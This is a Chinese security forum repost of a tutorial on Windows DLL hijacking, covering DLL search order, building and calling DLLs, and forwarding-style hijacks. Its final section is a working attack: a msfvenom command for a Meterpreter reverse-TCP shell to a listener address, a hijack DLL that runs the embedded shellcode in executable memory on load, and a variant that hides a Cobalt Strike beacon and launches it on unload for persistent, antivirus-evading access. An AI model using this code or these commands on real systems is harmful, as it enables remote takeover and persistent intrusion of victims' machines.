安全矩阵

 找回密码
 立即注册
搜索
查看: 1038|回复: 0

DLL劫持原理学习

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-10 08:44:05 | 显示全部楼层 |阅读模式
DLL劫持原理学习 (qq.com)
DLL劫持原理学习web安全工具库 web安全工具库
微信号 websec-tools
功能介绍 将一些好用的web安全工具和自己的学习笔记分享给大家。。。
6天前
收录于话题
以下文章来源于Gamma实验室 ,作者solo
Gamma实验室.
Gamma实验室是专注于网络安全攻防研究的实验室,不定时向外输出技术文章以及自主研发安全工具,技术输出不限于:渗透,内网,红队,免杀,病毒分析,逆向,ctfwp等,实验室只用于技术研究,一切违法犯罪与实验室无关!
  点击蓝字关注我哦


DLL劫持原理学习
0x01 什么是DLL?百度百科:
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
简而言之:
DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。
0x02 程序运行时DLL的加载顺序

           
  •         Windows XP SP2之前
            Windows查找DLL的目录以及对应的顺序:


           
  •         进程对应的应用程序所在目录;

           
  •         当前目录(Current Directory);

           
  •         系统目录(通过 GetSystemDirectory 获取);

           
  •         16位系统目录;

           
  •         Windows目录(通过 GetWindowsDirectory 获取);

           
  •         PATH环境变量中的各个目录;

栗子 :对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

           
  •         在Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

           
  •         进程对应的应用程序所在目录(可理解为程序安装目录比如CrogramFilesuTorrent);

           
  •         系统目录(即%windir%system32);

           
  •         16位系统目录(即%windir%system);

           
  •         Windows目录(即%windir%);

           
  •         当前目录(运行的某个文件所在目录,比如CocumentsandSettingsAdministratorDesktoptest);

           
  •         PATH环境变量中的各个目录;


           
  •         Windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

           
  •         进程对应的应用程序所在目录(可理解为程序安装目录比如CrogramFilesuTorrent);

           
  •         系统目录(即%windir%system32);

           
  •         16位系统目录(即%windir%system);

           
  •         Windows目录(即%windir%);

           
  •         当前目录(运行的某个文件所在目录,比如CocumentsandSettingsAdministratorDesktoptest);

           
  •         PATH环境变量中的各个目录;

0x03编写DLLvs2019-动态链接库项目
每个dll都一个dllmian.cpp源文件,默认如下:
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"

  3. BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
  4.                        DWORD  ul_reason_for_call, // 调用原因
  5.                        LPVOID lpReserved // 参数保留
  6.                      )
  7. {
  8.     switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
  9.     {
  10.     case DLL_PROCESS_ATTACH: // DLL被某个程序加载
  11.     case DLL_THREAD_ATTACH: // DLL被某个线程加载
  12.     case DLL_THREAD_DETACH: // DLL被某个线程卸载
  13.     case DLL_PROCESS_DETACH: //DLL被某个程序卸载
  14.         break;
  15.     }
  16.     return TRUE;
  17. }
复制代码
头文件:framework.h
  1. #pragma once

  2. #define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
  3. // Windows 头文件
  4. #include <windows.h>
复制代码
pch.h
  1. // pch.h: 这是预编译标头文件。
  2. // 下方列出的文件仅编译一次,提高了将来生成的生成性能。
  3. // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
  4. // 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
  5. // 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。

  6. #ifndef PCH_H
  7. #define PCH_H

  8. // 添加要在此处预编译的标头
  9. #include "framework.h"

  10. #endif //PCH_H
复制代码


举个栗子:
引入windows.h ,使用messagebox函数做一个demo:
dllmain.cpp
  1. #include "pch.h"
  2. #include "windows.h"
  3. int add(int x,int y) {
  4. return(x + y);

  5. }
  6. void message() {
  7.     MessageBox(0, L"hello world", 0, 0);
  8. }
复制代码
Framework.h
  1. #pragma once

  2. #define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
  3. // Windows 头文件
  4. #include <windows.h>


  5. // 这种声明方式是强制用c语言方式进行修饰,且用C的默认约定__cdecl方式。
  6. // 这种方式编译产生的DLL中有两个导出函数:add,message。不加任何修饰。

  7. extern "C" __declspec(dllexport) int add(int x,int y);
  8. extern "C" __declspec(dllexport) void message(void);
复制代码

生成—>生成解决方案,得到dll

0x04 调用DLLpython调用DLL
  1. import ctypes
  2. dll = ctypes.CDLL("dll路径")
  3. a=dll.func()
  4. a
复制代码



c++加载时动态链接
  1. #include "iostream"
  2. using namespace std;
  3. #pragma comment(lib,"C:\\Users\\bz\\source\\repos\\DLL_demo\\x64\\Release\\DLL_demo.lib")
  4. extern "C" __declspec(dllimport) int add(int a, int b);
  5. extern "C" __declspec(dllimport) void message();
  6. int main() {
  7.     cout << add(1, 2) << endl;
  8.     message();

  9. }
复制代码



c++运行时动态链接
  1. #include <iostream>
  2. #include <Windows.h>
  3. using namespace std;
  4. //定义一个函数类,
  5. typedef int(*addfun)(int a, int b);
  6. typedef void(*messagefun)();

  7. int main()
  8. {   //指定加载dll库
  9.     HMODULE hdll = LoadLibrary(LPCWSTR(L"DLL_demo.dll"));
  10.     if (hdll != NULL)
  11.     {   //获取函数位置
  12.         addfun add = (addfun)GetProcAddress(hdll, "add");
  13.         messagefun message = (messagefun)GetProcAddress(hdll, "message");
  14.         if (add != NULL)
  15.         {
  16.             cout << add(1, 2) << endl;
  17.            // system("pause");

  18.         }
  19.         if (add = NULL) {
  20.             printf("获取函数失败");
  21.            // system("pause");

  22.         }
  23.         if (message!= NULL)
  24.         {
  25.             message();
  26.         }
  27.         FreeLibrary(hdll);
  28.     }
  29.     else
  30.     {
  31.         printf("获取句柄失败");
  32.         system("pause");
  33.     }
  34. }
复制代码



0x05 转发式DLL劫持简而言之,不影响程序 本身功能的同时执行恶意dll

举个栗子:
将原来的dll名写在转发方法里,然后将生成的dll文件重命名为劫持的dll文件名:
  1. #include "pch.h"
  2. #include "windows.h"
  3. //开始转发,将函数方法转发
  4. //导出函数
  5. #pragma comment(linker,"/EXPORT:add=testdll.add,@1")
  6. #pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
  7. //入口函数
  8. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  9. {
  10.     if (dwReason == DLL_PROCESS_ATTACH)
  11.     {
  12.         DisableThreadLibraryCalls(hModule);
  13.         MessageBox(NULL, L"hacked by cxk", L"hi", MB_OK);
  14.     }
  15.     else if (dwReason == DLL_PROCESS_DETACH)
  16.     {

  17.     }

  18.     return TRUE;
  19. }
复制代码

然后将dll放在exe同一目录,已经劫持成功了:

0x06 使用DLL劫持上线主机dll加载shellcode上线生成shellcode:

           

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.10.6 -b '\xfc\xe8' lport=4444 -f c

生成dll:

  1. #include "pch.h"
  2. #include "windows.h"
  3. //开始转发,将函数方法转发
  4. //导出函数
  5. #pragma comment(linker,"/EXPORT:add=testdll.add,@1")
  6. #pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
  7. //入口函数
  8. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  9. {
  10.     if (dwReason == DLL_PROCESS_ATTACH)
  11.     {
  12.         DisableThreadLibraryCalls(hModule);
  13.         unsigned char buf[] =
  14.             "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
  15.             "\xff\xff\x48\xbb\x66\x9a\x22\x85\x4f\xee\xee\xb7\x48\x31\x58"
  16.             "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x9a\xd2\xa1\x61\xbf\x06"
  17.             "\x22\xb7\x66\x9a\x63\xd4\x0e\xbe\xbc\xe6\x2e\xab\xf0\xd3\x2a"
  18.             "\xa6\x65\xe5\x06\xd2\xa9\xd7\x57\xa6\x65\xe5\x46\xd7\x13\x4c"
  19.             "\x07\x65\x9c\xe7\x2e\x95\x95\xcf\x05\xa6\xdf\x77\xca\xa6\x43"
  20.             "\xf9\x4d\xc2\xce\xf6\xa7\x53\x2f\xc4\x4e\x2f\x0c\x5a\x34\xdb"
  21.             "\x73\xcd\xc4\xbc\xce\x3c\x24\xa6\x6a\x84\x9f\x88\x6f\xcf\x7e"
  22.             "\x91\x20\x8a\xca\x9c\xee\xb7\x66\x11\xa2\x0d\x4f\xee\xee\xff"
  23.             "\xe3\x5a\x56\xe2\x07\xef\x3e\x3c\x2e\x82\x72\xc1\xc4\xae\xce"
  24.             "\xfe\x67\x4a\xc1\xd3\x07\x11\x27\xf6\xed\xae\xaa\xc8\x7e\x27"
  25.             "\xa6\xb6\xb0\xd2\x13\x45\xe3\xaf\x2f\x7e\x6b\xdb\x23\x44\x77"
  26.             "\x0e\x9b\x46\x2a\x99\x6e\xa1\x47\xab\xd7\x66\x13\x42\x7a\xc1"
  27.             "\xc4\xae\xca\xfe\x67\x4a\x44\xc4\xc4\xe2\xa6\xf3\xed\xda\x3e"
  28.             "\xcc\x4e\x3e\xaf\x3c\x62\x12\x63\xdd\x07\xef\x3e\xf6\x3e\xc4"
  29.             "\x7b\xdf\x0e\xb6\xaf\xee\x27\xc0\x6a\x06\xa3\xce\xaf\xe5\x99"
  30.             "\x7a\x7a\xc4\x16\xb4\xa6\x3c\x74\x73\x69\x7a\xb0\x11\xb3\xfe"
  31.             "\xd8\xed\x51\xb7\x10\xdd\xdc\xb7\x66\xdb\x74\xcc\xc6\x08\xa6"
  32.             "\x36\x8a\x3a\x23\x85\x4f\xa7\x67\x52\x2f\x26\x20\x85\x5e\xb2"
  33.             "\x42\xa3\x6c\x9c\x63\xd1\x06\x67\x0a\xfb\xef\x6b\x63\x3f\x03"
  34.             "\x99\xc8\xb0\x99\x4f\x6e\x0c\xa5\x86\xef\xb6\x66\x9a\x7b\xc4"
  35.             "\xf5\xc7\x6e\xdc\x66\x65\xf7\xef\x45\xaf\xb0\xe7\x36\xd7\x13"
  36.             "\x4c\x02\xdf\x2e\xff\x99\x5a\x6a\x0c\x8d\xa6\x11\x77\x2e\x13"
  37.             "\xe3\xc4\xf5\x04\xe1\x68\x86\x65\xf7\xcd\xc6\x29\x84\xa7\x27"
  38.             "\xc2\x6e\x0c\xad\xa6\x67\x4e\x27\x20\xbb\x20\x3b\x8f\x11\x62"
  39.             "\xe3\x5a\x56\x8f\x06\x11\x20\xc2\x83\x72\xb1\x85\x4f\xee\xa6"
  40.             "\x34\x8a\x8a\x6a\x0c\xad\xa3\xdf\x7e\x0c\x9e\x63\xdd\x07\x67"
  41.             "\x17\xf6\xdc\x98\xfb\x4d\x10\x11\x3b\x34\x9e\x9a\x5c\xd0\x07"
  42.             "\x6d\x2a\x97\x38\x13\xd4\xef\x0f\xaf\xb7\xdf\x66\x8a\x22\x85"
  43.             "\x0e\xb6\xa6\x3e\x94\xd2\x13\x4c\x0e\x54\xb6\x13\x35\x7f\xdd"
  44.             "\x50\x07\x67\x2d\xfe\xef\x5d\x6f\xb4\x86\xa7\x67\x47\x2e\x13"
  45.             "\xf8\xcd\xc6\x17\xaf\x0d\x64\x43\xea\xda\xb0\x3b\x6d\x4f\x66"
  46.             "\xe7\x0a\xdd\x0e\xb9\xb7\xdf\x66\xda\x22\x85\x0e\xb6\x84\xb7"
  47.             "\x3c\xdb\x98\x8e\x60\xe1\xde\x48\xb3\xcd\x7b\xc4\xf5\x9b\x80"
  48.             "\xfa\x07\x65\xf7\xcc\xb0\x20\x07\x8b\x99\x65\xdd\xcd\x4e\x2d"
  49.             "\xa6\x9e\xa0\xd2\xa7\x73\x3a\x5a\xaf\x48\x81\xc2\x48\x85\x16"
  50.             "\xa7\x29\x75\x96\x2f\x80\xd3\xb0\x3b\xee\xb7";
  51.         size_t size = sizeof(buf);
  52.         char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  53.         memcpy(inject, buf, size);
  54.         CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
  55.     }
  56.     else if (dwReason == DLL_PROCESS_DETACH)
  57.     {
  58.     }
  59.     return TRUE;
  60. }
复制代码
​ Ps:这种直接生成的dll不免杀,实战中需要做免杀处理。
dll加载免杀马上线首先给这个文件加一个隐藏属性:

           

attrib +h beacon.exe
接着采用DLL去加载这个木马,
代码如下:
  1. #include "pch.h"
  2. #include "windows.h"
  3. //开始转发,将函数方法转发
  4. //导出函数
  5. #pragma comment(linker,"/EXPORT:add=testdll.add,@1")
  6. #pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
  7. //入口函数
  8. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  9. {
  10.     if (dwReason == DLL_PROCESS_ATTACH)
  11.     {
  12.         DisableThreadLibraryCalls(hModule);
  13.     }
  14.     else if (dwReason == DLL_PROCESS_DETACH)
  15.     {
  16.         STARTUPINFO si = { sizeof(si) };
  17.         PROCESS_INFORMATION pi;
  18.         CreateProcess(TEXT("path\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
  19.     }

  20.     return TRUE;
  21. }
复制代码
然后后面直接去尝试加载就行了,程序执行完的时候(DLL_PROCESS_DETACH),会自动加载我们的cs马。
说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。
参考文章:https://www.anquanke.com/post/id/232891#h2-12
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-15 00:42 , Processed in 0.014139 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表